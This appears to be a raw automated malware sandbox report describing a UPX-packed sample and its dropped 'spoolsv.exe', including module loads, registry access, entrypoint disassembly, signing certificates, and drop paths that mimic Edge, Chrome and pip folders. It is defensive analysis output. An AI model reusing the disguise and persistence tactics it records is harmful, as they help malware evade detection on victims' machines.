loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74c80000 "spoolsv.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76730000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 74c40000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75640000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 74bc0000 "spoolsv.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 771c0000 "spoolsv.exe" loaded module "OLEAUT32.DLL" at base 771c0000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 74b10000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 74b00000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 74a30000 "spoolsv.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76730000 "spoolsv.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76730000 "spoolsv.exe" loaded module "AMSI.DLL" at base 74a10000 "spoolsv.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76730000 "spoolsv.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76730000 "spoolsv.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76730000 "spoolsv.exe" loaded module "KERNEL32" at base 772c0000 "spoolsv.exe" loaded module "%WINDIR%\SYSWOW64\9TGT5RMF.DLL" at base 749d0000 "spoolsv.exe" loaded module "WTSAPI32.DLL" at base 74c70000 "spoolsv.exe" loaded module "GDI32.DLL" at base 753f0000 "spoolsv.exe" loaded module "CRYPT32.DLL" at base 75490000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75180000 "spoolsv.exe" loaded module "RSTRTMGR.DLL" at base 70530000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76640000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 75000000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 75640000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76730000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76730000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74a40000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 752b0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74d00000 "powershell.exe" loaded module "VERSION.DLL" at base 74bf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 74180000 "powershell.exe" loaded module "USER32.DLL" at base 76f20000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76730000 "powershell.exe" loaded module "MSCOREE.DLL" at base 74ad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75780000 "powershell.exe" loaded module "PSAPI.DLL" at base 766c0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76b30000 "powershell.exe" loaded module "KERNEL32.DLL" at base 772c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\EF4992F14BA62DC115C01E7A6018E263\MSCORLIB.NI.DLL" at base 72c70000 "powershell.exe" loaded module "OLE32.DLL" at base 76430000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75780000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 771c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72c30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76640000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72ba0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\67186481D97828A572BF5DB055F4A9F1\SYSTEM.NI.DLL" at base 72140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\C20AFD70AEB352395F8F5297A727F0BA\SYSTEM.CORE.NI.DLL" at base 71920000 "powershell.exe" loaded module "COMBASE.DLL" at base 75780000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 75780000 "powershell.exe" loaded module "NTDLL.DLL" at base 773c0000 "powershell.exe" loaded module "SHELL32.DLL" at base 75a10000 "powershell.exe" loaded module "WINTRUST.DLL" at base 76ec0000 "powershell.exe" loaded module "AMSI.DLL" at base 74a10000 "powershell.exe" loaded module "KERNEL32" at base 772c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\9TGT5RMF.DLL" at base 749d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\222C7D59009D4FDDDA32703E331011BA\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 71240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\416015A614FB5F5C53CD9CCBF0E5E13F\SYSTEM.XML.NI.DLL" at base 70ac0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75490000 "powershell.exe" loaded module "WLDP.DLL" at base 712d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 70760000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 70730000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 70710000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 706c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 70560000 "powershell.exe" loaded module "CRYPT32.DLL" at base 75490000 "powershell.exe" loaded module "NTDLL" at base 773c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74c80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\0FC458E2E89A1743B9BB2C58049A8F4F\SYSTEM.CONFIGURATION.NI.DLL" at base 70420000 "powershell.exe" loaded module "BCRYPT.DLL" at base 76a90000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 75780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 70370000 "powershell.exe" loaded module "SECUR32.DLL" at base 74d40000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74d10000 "powershell.exe" loaded module "URLMON.DLL" at base 70100000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76730000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 6fe80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6fdd0000 "powershell.exe" loaded module "OLEAUT32" at base 771c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 76730000 "powershell.exe" loaded module "MSVCRT.DLL" at base 756c0000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6f960000 "powershell.exe" loaded module "MI.DLL" at base 6f940000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 76730000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6f8b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76730000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6f8a0000 "powershell.exe" loaded module "GDI32.DLL" at base 753f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6f820000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f750000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76730000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76730000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 772c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 76730000 "spoolsv.exe" loaded module "OLEAUT32" at base 771c00004c:Tc0e,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "spoolsv.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "spoolsv.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "spoolsv.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "spoolsv.exe" touched "PSOAInterface" (Path: "HKCU\WOW6432NODE\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS")4d:T4a5,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" file has an entrypoint instructions - "pushal ,mov esi, 0xce7015,lea edi, [esi - 0x8e6015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x1052f18,inc esi,inc esi,push ebx,push 0xc50384,push edi,add ebx, 4,push ebx,push 0x36bee0,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,mov edi, 0,push esi,push ebx,sub esp, 0x64,mov edx, dword ptr [esp + 0x78],mov dword ptr [esp + 0x5c], 0,lea eax, [edx + 4],mov dword ptr [esp + 0x60], eax,mov eax, 1,movzx ecx, byte ptr [edx + 2]," "spoolsv.exe" file has an entrypoint instructions - "pushal ,mov esi, 0xce7015,lea edi, [esi - 0x8e6015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x1052f18,inc esi,inc esi,push ebx,push 0xc50384,push edi,add ebx, 4,push ebx,push 0x36bee0,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,mov edi, 0,push esi,push ebx,sub esp, 0x64,mov edx, dword ptr [esp + 0x78],mov dword ptr [esp + 0x5c], 0,lea eax, [edx + 4],mov dword ptr [esp + 0x60], eax,mov eax, 1,movzx ecx, byte ptr [edx + 2],"4e:T70a,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "spoolsv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "spoolsv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "spoolsv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "spoolsv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "spoolsv.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")4f:Tff1,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00004032-00000C2E-951323604] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00004032-00000C2B-1140852812] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00004032-00000C2B-1140961044] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004032-00000C2B-1141043855] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\ef4992f14ba62dc115c01e7a6018e263\mscorlib.ni.dll" [Source: 00000000-00004032-00000C2B-1141513654] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00004032-00000C2B-1141599139] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004032-00000C2B-1141655374] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00004032-00000C2B-1141768450] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00004032-00000C2B-1141947477] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00004032-00000C2B-1141980397] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\67186481d97828a572bf5db055f4a9f1\System.ni.dll" [Source: 00000000-00004032-00000C2B-1142259688] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\c20afd70aeb352395f8f5297a727f0ba\System.Core.ni.dll" [Source: 00000000-00004032-00000C2B-1142297794] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00004032-00000C2B-1142524249] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00004032-00000C2B-1142700417] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004032-00000C2B-1143000960] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004032-00000C2B-1143060606] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004032-00000C2B-1143603267] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00004032-00000C2B-1143669069] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004032-00000C2B-1144328797] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00004032-00000C2B-1144368407] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00004032-00000C2B-1144410175] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00004032-00000C2B-1144463635] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00004032-00000C2B-1144782901] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\416015a614fb5f5c53cd9ccbf0e5e13f\System.Xml.ni.dll" [Source: 00000000-00004032-00000C2B-1144856033] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" [Source: 00000000-00004032-00000C2B-1145071989]50:T510,The input sample is signed with a certificate issued by "CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information) The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: AB:25:EB:6F:79:0C:98:69:DF:E7:06:17:12:53:55:51:63:BA:20:D7; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information)51:T65a,"spoolsv.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\spoolsv.exe]- [targetUID: 00000000-00009068] "StartupProfileData-Interactive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00004032] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00004032] "__PSScriptPolicyTest_frn5x1xu.v00.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_frn5x1xu.v00.psm1]- [targetUID: 00000000-00004032] "spoolsv.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%LOCALAPPDATA%\pip\spoolsv.exe]- [targetUID: 00000000-00009068] "spoolsv.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\Google\Chrome\Application\spoolsv.exe]- [targetUID: 00000000-00009068] "__PSScriptPolicyTest_eipdw3og.bn4.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_eipdw3og.bn4.ps1]- [targetUID: 00000000-00004032] "__PSScriptPolicyTest_ndzjpz0u.qxr.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_ndzjpz0u.qxr.ps1]- [targetUID: 00000000-00004032] "__PSScriptPolicyTest_i0txb3ps.gf3.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_i0txb3ps.gf3.psm1]- [targetUID: 00000000-00004032]52:Tb8b,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\TREATAS"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\TREATAS"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCHANDLER32"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCHANDLER32"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCHANDLER"; Key: ""; Value: "")53:Tc95,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: "ACTIVATEONHOSTFLAGS"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" 